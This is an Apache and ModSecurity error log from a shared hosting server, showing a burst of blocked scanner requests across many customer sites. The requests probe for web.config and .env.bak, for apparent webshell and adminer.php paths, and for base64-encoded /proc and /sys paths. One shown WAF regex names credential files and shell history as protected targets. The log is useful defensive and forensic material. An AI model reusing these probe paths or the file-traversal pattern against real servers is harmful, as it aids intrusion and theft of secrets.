[unique_id "ai3xJSmiP80klyS0NnrwAQAAASc"] [Sat Jun 13 18:09:09.322081 2026] [security2:error] [pid 531797:tid 532059] [client 91.92.42.86:39100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YpQAAAlE"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.323287 2026] [security2:error] [pid 531797:tid 532050] [client 91.92.42.86:39108] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_webmail/web.config"] [unique_id "ai3xJcTA7b1mZrmcA-8YpgAAAkg"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:09.379869 2026] [security2:error] [pid 531797:tid 531951] [remote 17.246.19.173:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 173.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YqgACZlc"] [Sat Jun 13 18:09:09.448951 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:09.449404 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:09.453672 2026] [security2:error] [pid 531797:tid 532041] [client 91.92.42.86:12846] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/web.config"] [unique_id "ai3xJcTA7b1mZrmcA-8YrgAAAkA"], referer: http://mail.guu.rog.mybluehost.me/web.config [Sat Jun 13 18:09:09.458758 2026] [security2:error] [pid 531797:tid 532014] [client 91.92.42.86:12820] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai3xJcTA7b1mZrmcA-8YsAAAAiY"], referer: http://mail.guu.rog.mybluehost.me/.env.bak [Sat Jun 13 18:09:09.548418 2026] [security2:error] [pid 531155:tid 531406] [client 191.233.234.186:53381] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/dccs.php"] [unique_id "ai3xJSmiP80klyS0NnrwDAAAAYM"] [Sat Jun 13 18:09:09.563004 2026] [security2:error] [pid 531797:tid 531893] [remote 17.241.219.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YswACNh0"] [Sat Jun 13 18:09:09.569543 2026] [security2:error] [pid 531797:tid 531899] [remote 17.241.227.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xJcTA7b1mZrmcA-8YtQACTyM"] [Sat Jun 13 18:09:09.663160 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.88:51534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:09.663446 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.88:51534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:09.723667 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:09:09.723966 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:09:09.817604 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:09:09.817897 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:09:09.952121 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:09.952380 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:10.017548 2026] [security2:error] [pid 531155:tid 531336] [client 20.151.217.54:48065] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/kj.php"] [unique_id "ai3xJimiP80klyS0NnrwHQAAAT0"] [Sat Jun 13 18:09:10.124342 2026] [security2:error] [pid 531155:tid 531224] [remote 17.22.237.46:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xJimiP80klyS0NnrwIQABiEQ"] [Sat Jun 13 18:09:10.200691 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.106:27233] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:10.201107 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.106:27233] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:10.204577 2026] [security2:error] [pid 531797:tid 532070] [client 20.151.217.54:16990] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/spire.php"] [unique_id "ai3xJsTA7b1mZrmcA-8YyAAAAlw"] [Sat Jun 13 18:09:10.272093 2026] [access_compat:error] [pid 531797:tid 531953] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:10.272364 2026] [access_compat:error] [pid 531797:tid 531953] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:10.371103 2026] [access_compat:error] [pid 531797:tid 531897] [remote 57.141.14.91:22012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:10.371376 2026] [access_compat:error] [pid 531797:tid 531897] [remote 57.141.14.91:22012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:10.394562 2026] [security2:error] [pid 531797:tid 531892] [remote 17.246.23.182:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xJsTA7b1mZrmcA-8Y0AACPxw"] [Sat Jun 13 18:09:10.435626 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:10.435907 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:10.500863 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:10.501146 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:10.574291 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.47:47840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:10.574583 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.47:47840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:10.652044 2026] [security2:error] [pid 531155:tid 531382] [client 191.234.188.123:47950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ayk.php"] [unique_id "ai3xJimiP80klyS0NnrwNQAAAWs"] [Sat Jun 13 18:09:10.671298 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.77:61843] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:10.671670 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.77:61843] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:10.777716 2026] [security2:error] [pid 531797:tid 532015] [client 20.151.217.54:17041] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/auto.php"] [unique_id "ai3xJsTA7b1mZrmcA-8Y2wAAAic"] [Sat Jun 13 18:09:10.794242 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:09:10.794641 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:09:10.946978 2026] [security2:error] [pid 531797:tid 532018] [client 172.171.3.232:35282] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/aq.php"] [unique_id "ai3xJsTA7b1mZrmcA-8Y3wAAAio"] [Sat Jun 13 18:09:10.982152 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:10.982586 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:11.052770 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:09:11.053065 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:09:11.110340 2026] [security2:error] [pid 531797:tid 532074] [client 20.151.217.54:48066] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/bdktk.php"] [unique_id "ai3xJ8TA7b1mZrmcA-8Y4wAAAmA"] [Sat Jun 13 18:09:11.168638 2026] [access_compat:error] [pid 531797:tid 531976] [remote 216.73.216.182:41746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:11.168935 2026] [access_compat:error] [pid 531797:tid 531976] [remote 216.73.216.182:41746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:11.242796 2026] [security2:error] [pid 531155:tid 531360] [client 216.73.216.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vsprintf_variation4_64bit.phpt"] [unique_id "ai3xJymiP80klyS0NnrwRgAAAVU"] [Sat Jun 13 18:09:11.306844 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:09:11.307107 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:09:11.311501 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.49:24247] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:11.311780 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.49:24247] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:11.327202 2026] [security2:error] [pid 531155:tid 531344] [client 20.151.217.54:17018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/twinklingly.php"] [unique_id "ai3xJymiP80klyS0NnrwSQAAAUU"] [Sat Jun 13 18:09:11.369584 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L2N3ZA== [Sat Jun 13 18:09:11.369867 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L2N3ZA== [Sat Jun 13 18:09:11.527827 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:09:11.528087 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:09:11.623636 2026] [security2:error] [pid 531797:tid 531986] [remote 17.246.23.151:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 151.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xJ8TA7b1mZrmcA-8Y7wACVHk"] [Sat Jun 13 18:09:11.626867 2026] [security2:error] [pid 531797:tid 531887] [remote 216.73.216.182:41746] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xJ8TA7b1mZrmcA-8Y7QACSxc"], referer: https://homs.co.ke/?action=adminer&p=L3Byb2MvaXJxLzc0 [Sat Jun 13 18:09:11.703142 2026] [security2:error] [pid 531155:tid 531216] [remote 67.20.76.238:39584] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "markrobertferkul.com"] [uri "/wp-login.php"] [unique_id "ai3xJymiP80klyS0NnrwVQABJzw"] [Sat Jun 13 18:09:11.844928 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 